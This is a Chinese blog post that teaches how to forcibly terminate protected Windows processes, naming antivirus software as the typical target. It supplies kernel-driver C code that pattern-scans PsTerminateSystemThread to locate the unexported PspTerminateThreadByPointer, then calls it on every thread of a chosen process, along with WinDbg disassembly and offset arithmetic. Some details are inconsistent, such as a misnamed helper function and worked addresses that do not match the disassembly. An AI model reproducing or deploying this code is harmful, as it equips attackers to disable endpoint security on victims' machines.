windows:进程查杀

windows平台中,某些进程做了各种保护,比如hook了terminateProcess,又或者注册了进程终止函数的回调。当调用这些API或任务管理器终止该进程时,会被绕过,典型如某些杀毒软件,怎么才能终止这些进程了?

 

进程是由线程组成的,如果该进程名下所有线程都终止,此进程也会被windows回收和注销,终止进程的问题就转化成了终止线程;但如果直接调用terminateThread,同样面临terminateProcess被hook的窘境。深入逆向分析terminateThread后发现,真正终止线程的函数是PspTerminateThreadByPointer,整个调用逻辑为:NtTerminateThread->PsTerminateSystemThread->PspTerminateThreadByPointer,其中PsTerminateSystemThread是导入未文档化函数,可在驱动层掉用MmGetSystemRoutineAddress函数获取地址,进而得到PspTerminateThreadByPointer的地址(当然也能使用https://www.cnblogs.com/theseventhson/p/13024325.html该方法获取),核心函数如下:

 

1、根据起始和终止地址、特征码查找代码偏移

PVOID SearchMemory(PVOID pStartAddress, PVOID pEndAddress, PUCHAR pMemoryData, ULONG ulMemoryDataSize)
{
    PVOID pAddress = NULL;
    PUCHAR i = NULL;
    ULONG m = 0;

    // 扫描内存
    for (i = (PUCHAR)pStartAddress; i < (PUCHAR)pEndAddress; i++)
    {
        // 判断特征码
        for (m = 0; m < ulMemoryDataSize; m++)
        {
            if (*(PUCHAR)(i + m) != pMemoryData[m])
            {
                break;
            }
        }
        // 判断是否找到符合特征码的地址
        if (m >= ulMemoryDataSize)
        {
            // 找到特征码位置, 获取紧接着特征码的下一地址
            pAddress = (PVOID)(i + ulMemoryDataSize);
            break;
        }
    }

    return pAddress;
}

2、(1)PsTerminateSystemThread是导出未文档化的函数,可以直接用MmGetSystemRoutineAddress得到函数地址

      (2)windbg中根据PsTerminateSystemThread进一步查找PspTerminateThreadByPointer:这里用了e8作为特征码,直接定位到“e8dcf0fbff      call    nt!PspTerminateThreadByPointer (fffff803`d01c6210)”这行代码;

 kd> u 0xfffff803`d0207110   //下面偏移x20 = 32byte处

nt!PsTerminateSystemThread:

fffff803`d0207110 4883ec28        sub     rsp,28h

fffff803`d0207114 8bd1            mov     edx,ecx

fffff803`d0207116 65488b0c2588010000 mov   rcx,qword ptr gs:[188h]

fffff803`d020711f f7417400040000  test    dword ptr [rcx+74h],400h

fffff803`d0207126 0f84a0630e00    je      nt!PsTerminateSystemThread+0xe63bc (fffff803`d02ed4cc)

fffff803`d020712c 41b001          mov     r8b,1

fffff803`d020712f e8dcf0fbff      call    nt!PspTerminateThreadByPointer (fffff803`d01c6210)

  熟悉x86汇编的都知道:e8是call的硬编码,后面dcf0fbff是目标地址当对于当前的偏移,偏移为0xfffbf0dc。这个偏移很大,根据经验判断应该是个负数,0n-266020,那么PspTerminateThreadByPointer的计算方法:

  PspTerminateThreadByPointer =  当前地址 + 4 + 偏移(负数)

=0xfffff800`63f7e130 + 0x4 + 0n-266020

= ‭FFFFF80063F7E134‬ + 0n-266020

= -8,794,415,832,780 - 266020 //统一转成10进制

= -8,794,416,098,800‬

= FFFF F800 63F3 D210‬

继续windbg查一下:发现这个地址确实是PspTerminateThreadByPointer的,没错:

kd> u 0xfffff800`63f3d210

nt!PspTerminateThreadByPointer:

fffff800`63f3d210 48895c2408      mov     qword ptr [rsp+8],rbx

fffff800`63f3d215 48896c2410      mov     qword ptr [rsp+10h],rbp

fffff800`63f3d21a 4889742418      mov     qword ptr [rsp+18h],rsi

fffff800`63f3d21f 57              push    rdi

fffff800`63f3d220 4883ec30        sub     rsp,30h

fffff800`63f3d224 8b81d0060000    mov     eax,dword ptr [rcx+6D0h]

fffff800`63f3d22a 418ae8          mov     bpl,r8b

fffff800`63f3d22d 488bb920020000  mov     rdi,qword ptr [rcx+220h]

  详细代码如下(这里pSpecialData用E8就好):

PVOID SearchPspTerminateThreadByPointer(PUCHAR pSpecialData, ULONG ulSpecialDataSize)
{
    UNICODE_STRING ustrFuncName;
    PVOID pAddress = NULL;
    LONG lOffset = 0;
    PVOID pPsTerminateSystemThread = NULL;
    PVOID pPspTerminateThreadByPointer = NULL;

    // 先获取 PsTerminateSystemThread 函数地址
    RtlInitUnicodeString(&ustrFuncName, L"PsTerminateSystemThread");
    pPsTerminateSystemThread = MmGetSystemRoutineAddress(&ustrFuncName);
    if (NULL == pPsTerminateSystemThread)
    {
        ShowError("MmGetSystemRoutineAddress", 0);
        return pPspTerminateThreadByPointer;
    }

    // 然后, 查找 PspTerminateThreadByPointer 函数地址
    pAddress = SearchMemory(pPsTerminateSystemThread,
        (PVOID)((PUCHAR)pPsTerminateSystemThread + 0xFF),//搜索255字节长度
        pSpecialData, ulSpecialDataSize);
    if (NULL == pAddress)
    {
        ShowError("SearchMemory", 0);
        return pPspTerminateThreadByPointer;
    }

    // 先获取偏移, 再计算地址
    lOffset = *(PLONG)pAddress;//0n-266020。注意这里向前跳,偏移是负数,有符号
    pPspTerminateThreadByPointer = (PVOID)((PUCHAR)pAddress + sizeof(LONG) + lOffset);

    return pPspTerminateThreadByPointer;
}

3、得到PspTerminateThreadByPointer地址:

PVOID GetPspLoadImageNotifyRoutine()
{
    PVOID pPspTerminateThreadByPointerAddress = NULL;
    RTL_OSVERSIONINFOW osInfo = { 0 };
    UCHAR pSpecialData[50] = { 0 };
    ULONG ulSpecialDataSize = 0;

    pSpecialData[0] = 0xE8;
    ulSpecialDataSize = 1;

    // E8
    pSpecialData[0] = 0xE8;
    ulSpecialDataSize = 1;


    // 根据特征码获取地址
    pPspTerminateThreadByPointerAddress = SearchPspTerminateThreadByPointer(pSpecialData, ulSpecialDataSize);
    return pPspTerminateThreadByPointerAddress;
}

4、现在可以强杀进程了:

// 强制结束指定进程
NTSTATUS ForceKillProcess(HANDLE hProcessId)
{
    PVOID pPspTerminateThreadByPointerAddress = NULL;
    PEPROCESS pEProcess = NULL;
    PETHREAD pEThread = NULL;
    PEPROCESS pThreadEProcess = NULL;
    NTSTATUS status = STATUS_SUCCESS;
    ULONG i = 0;

#ifdef _WIN64
    // 64 位
    typedef NTSTATUS(__fastcall *PSPTERMINATETHREADBYPOINTER) (PETHREAD pEThread, NTSTATUS ntExitCode, BOOLEAN bDirectTerminate);
#else
    // 32 位
    typedef NTSTATUS(*PSPTERMINATETHREADBYPOINTER) (PETHREAD pEThread, NTSTATUS ntExitCode, BOOLEAN bDirectTerminate);
#endif

    // 获取 PspTerminateThreadByPointer 函数地址
    pPspTerminateThreadByPointerAddress = GetPspLoadImageNotifyRoutine();
    if (NULL == pPspTerminateThreadByPointerAddress)
    {
        ShowError("GetPspLoadImageNotifyRoutine", 0);
        return FALSE;
    }
    // 获取结束进程的进程结构对象EPROCESS
    status = PsLookupProcessByProcessId(hProcessId, &pEProcess);
    if (!NT_SUCCESS(status))
    {
        ShowError("PsLookupProcessByProcessId", status);
        return status;
    }
    // 遍历所有线程, 并结束所有指定进程的线程
    for (i = 4; i < 0x80000; i = i + 4)
    {
        status = PsLookupThreadByThreadId((HANDLE)i, &pEThread);
        if (NT_SUCCESS(status))
        {
            // 获取线程对应的进程结构对象
            pThreadEProcess = PsGetThreadProcess(pEThread);
            // 结束指定进程的线程
            if (pEProcess == pThreadEProcess)
            {
                ((PSPTERMINATETHREADBYPOINTER)pPspTerminateThreadByPointerAddress)(pEThread, 0, 1);
                DbgPrint("PspTerminateThreadByPointer Thread:%d\n", i);
            }
            // 凡是Lookup...,必需Dereference,否则在某些时候会造成蓝屏
            ObDereferenceObject(pEThread);
        }
    }
    // 凡是Lookup...,必需Dereference,否则在某些时候会造成蓝屏
    ObDereferenceObject(pEProcess);

    return status;
}

 5、测试环境:

 

 

 

posted @ 2020-06-01 14:19  第七子007  阅读(779)  评论(0编辑  收藏  举报